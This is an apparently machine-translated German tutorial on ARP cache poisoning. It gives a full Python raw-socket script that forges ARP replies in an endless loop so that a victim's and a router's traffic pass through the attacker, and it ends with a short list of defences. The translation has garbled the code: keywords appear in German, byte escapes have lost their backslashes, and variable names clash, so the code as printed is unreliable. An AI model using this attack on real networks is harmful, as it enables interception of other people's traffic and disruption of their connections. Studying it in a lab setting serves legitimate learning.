Heute zeige ich Ihnen, wie Sie eine Angriffs-ARP-Vergiftung (Cache Poisoning ARP) implementieren . Dazu verwende ich Raw-Sockets in Python . Das Ziel ist, zu sehen, wie diese Socket-Typen funktionieren, wie dieser Angriff funktioniert, oder in der Lage zu sein, Tests in Ihrem Netzwerk durchzuführen (obwohl es bereits Tools im Netzwerk gibt), die Sie nicht verwenden böswillige Zwecke.
Die Funktionsweise des ARP-Protokolls ist einfach: Wenn Sie ein Paket an eine andere Person senden, wird der Cache des Geräts überprüft. Wenn diese Übersetzung vorhanden ist, wird das Paket gesendet. Wenn kein ARP vorhanden ist, wird ein Broadcast-Paket gesendet (es ist etwas Besonderes, es hat die MAC-Adresse) Ziel ff: ff: ff: ff: ff: ff), dieses Paket wird alle Geräte im Netzwerk erreichen und “fragen”, wer die IP-Adresse gesucht hat, jedes Gerät wird den speziellen MAC sehen, wenn es das Paket liest, und nur Derjenige, der die gesuchte IP-Adresse hat, antwortet und gibt seinen MAC an. In diesem Moment wird er im Cache gespeichert, damit er in den nächsten Minuten nicht noch einmal nachfragen muss.
Der ARP-Vergiftungsangriff wird verwendet, um die Daten auszuspionieren, die durch ein Netzwerk geleitet werden, oder wir können ihn auch verwenden, damit die Daten nicht die Ziele erreichen, an die sie geleitet werden. Dieser Angriff besteht darin, ständig ARP-Pakete an das Netzwerk zu senden, die anzeigen, dass unser MAC der IP des Opfers entspricht und dass unser MAC der IP des Routers zugeordnet ist . Pakete müssen ständig gesendet werden, da es sich um ein dynamisches Protokoll handelt. Der Cache ändert sich. Möglicherweise wird die Übersetzung gelöscht und mit den tatsächlichen Daten aktualisiert. Um sicherzustellen, dass alle paar Minuten Pakete gesendet werden, sind diese nicht sehr schwer. Daher überlasten sie das Netzwerk normalerweise nicht.
Um unser Beispiel zu starten, müssen wir die IP-Adressen des Opfers und des Routergateways sowie dessen MAC kennen. Sie können nmap verwenden, um die aktiven Geräte in Ihrem Netzwerk zu ermitteln. Der MAC kann beispielsweise einfach abgerufen werden Um die Cache-Adresse 192.168.66.2 zu vergiften, die mein Opfer sein wird (eine virtuelle Maschine), führe ich im cmd oder Terminal Folgendes aus:
Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
Das -cy -n gibt an, dass ein einzelnes Paket gesendet wird, wobei jedes Betriebssystem einen anderen Parameter hat. Später setzen wir:
arp -a
Es zeigt den ARP-Cache an, daher können wir die Übersetzungen sehen, die wir gespeichert haben (und nachdem wir zuvor einen Ping durchgeführt haben, haben wir die Übersetzung mit dem Opfer). Wir müssen dasselbe mit dem Gateway des Routers machen:
Dann werde ich alle Daten, die wir haben müssen, übergeben:
- Opfer -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
- Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
- Mein PC -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f
Ich füge den vollständigen Code hinzu und erkläre ihn weiter unten. Er funktioniert für Python in der Version 2.x, aber mit kleinen Änderungen kannst du ihn an die Version 3.x anpassen:
Import-Socket Importzeit, Struktur, Binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = " x00 x0c x29 x5e xcb x5f" macVictima = " x00 x50 x56 xe3 xd1 x75" macRouter = " x00 x50 x56 xc0 x00 x08" code = " x08 x06" PackageComun = macOrigen + Code eth1 = macVictima + packageComun eth2 = macRouter + packageComun typeHardware = " x00 x01" typeProtocol = " x08 x00" lengthHardware = " x06" lengthProtocol = " x04" codeOperation = " x00 x02" Shareheader = typeHardware + typeProtocol + lengthHardware + lengthProtocol + codeOperation + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + shareheader + ipRouter + macVictima + ipVictima arpRouter = eth2 + shareheader + ipVictima + macRouter + ipRouter print ("Caches vergiften ... um STRG + C zu stoppen") während wahr: conexion.send (arpRouter) connection.send (arpVictima) Schlafenszeit (1)
Als erstes importieren wir die notwendigen Bibliotheken, die keiner weiteren Erklärung bedürfen. Fahren wir mit den folgenden Zeilen fort:
connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))
Die erste Zeile erstellt einen Socket mit den folgenden Merkmalen:
- PF_PACKET : Zum Senden und Empfangen von Paketen auf niedriger Ebene.
- SOCK_RAW : Um Raw-Sockets zu verwenden.
- socket.htons (0x0800) : Die 0x0800 definiert das ETH_P_IP-Protokoll, die ntohs-Funktion konvertiert vom Netzwerkformat in Bytes im entsprechenden Format für unseren Computer (s bedeutet kurz, das sind 16 Bits, wenn es ein l hätte, wären sie es) 32 Bit).
Und der zweite übernimmt das “Abhören” der Buchse:
- ens33 : ist die Netzwerkschnittstelle, an der wir arbeiten werden. Ihre kann eth0 sein. Wenn Sie eine ifconfig verwenden, wird diese angezeigt (siehe Abbildung unten).
- socket.htons (0x800) : das gleiche wie vorher gesagt.
Die Zeilen, die wir als nächstes sehen, werden die Ethernet-Header erstellen. Dazu legen wir den MAC und den Code (derjenige, zu dem wir gehören, gehört zum ARP-Protokoll) fest. Wenn Sie mehr über Ethernet erfahren möchten, klicken Sie hier :
macOrigen = " x00 x0c x29 x5e xcb x5f" macVictima = " x00 x50 x56 xe3 xd1 x75" macRouter = " x00 x50 x56 xc0 x00 x08" code = " x08 x06" PackageComun = macOrigen + Code eth1 = macVictima + packageComun eth2 = macRouter + packageComun
Der folgende Teil des Codes stellt die ARP-Pakete zusammen. Um die Struktur zu konsultieren, besuchen Sie den folgenden Link und gehen Sie zum Strukturabschnitt des Pakets. Der Operationscode x00 x02 gibt an, dass es sich um ein Antwortpaket handelt (wenn es 1 wäre, wäre es eine Anforderung), und die Funktion socket.inet_aton () konvertiert eine IPv4-Adresse in ein 32-Bit-Binärformat. Wie Sie im vorherigen Code sehen konnten und Sie sehen jetzt, wie Sie ein Paket erstellen, verketten wir seine Teile.
typeHardware = " x00 x01" typeProtocol = " x08 x00" lengthHardware = " x06" lengthProtocol = " x04" codeOperation = " x00 x02" Shareheader = typeHardware + typeProtocol + lengthHardware + lengthProtocol + codeOperation + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + shareheader + ipRouter + macVictima + ipVictima arpRouter = eth2 + shareheader + ipVictima + macRouter + ipRouter
Der letzte Teil des Codes zeigt eine Meldung an, um zu wissen, dass er funktioniert, und tritt in eine Endlosschleife ein, die Pakete sendet, um die Caches unseres Opfers und das Gateway des Routers zu vergiften. Dies geschieht jede Sekunde, seit wir schlafen.
print ("Caches vergiften ... um STRG + C zu stoppen") während wahr: conexion.send (arpRouter) connection.send (arpVictima) Schlafenszeit (1)
Mal sehen, wie die Programmausführung aussieht (wir müssen sie als Root-Benutzer ausführen ):
Und wenn wir uns den Cache des Opfers ansehen, können wir sehen, dass seine IP-Adresse jetzt dem MAC des Angreifers zugeordnet ist:
- Verwenden Sie statische ARP-Tabellen . Wir fügen die Einträge manuell hinzu und lassen sie nicht variieren.
- Aktivieren Sie Reverse ARP . Dieses Protokoll gibt die IP-Adresse von einem MAC zurück. Wenn es also mehr als eine IP-Adresse zurückgibt, haben wir wahrscheinlich Spoofing durchgeführt.
Diese Maßnahmen erfordern ein Minimum an Kenntnissen, sodass nicht jeder in der Lage ist, sie auszuführen. Wenn Sie sich jedoch in unseren Abschnitten zu IT- Sicherheitsfragen oder Lernprogrammen umsehen, werden Sie sicherlich Hilfe finden.
Falls Sie den Code hier haben möchten, hinterlasse ich Ihnen eine Zip: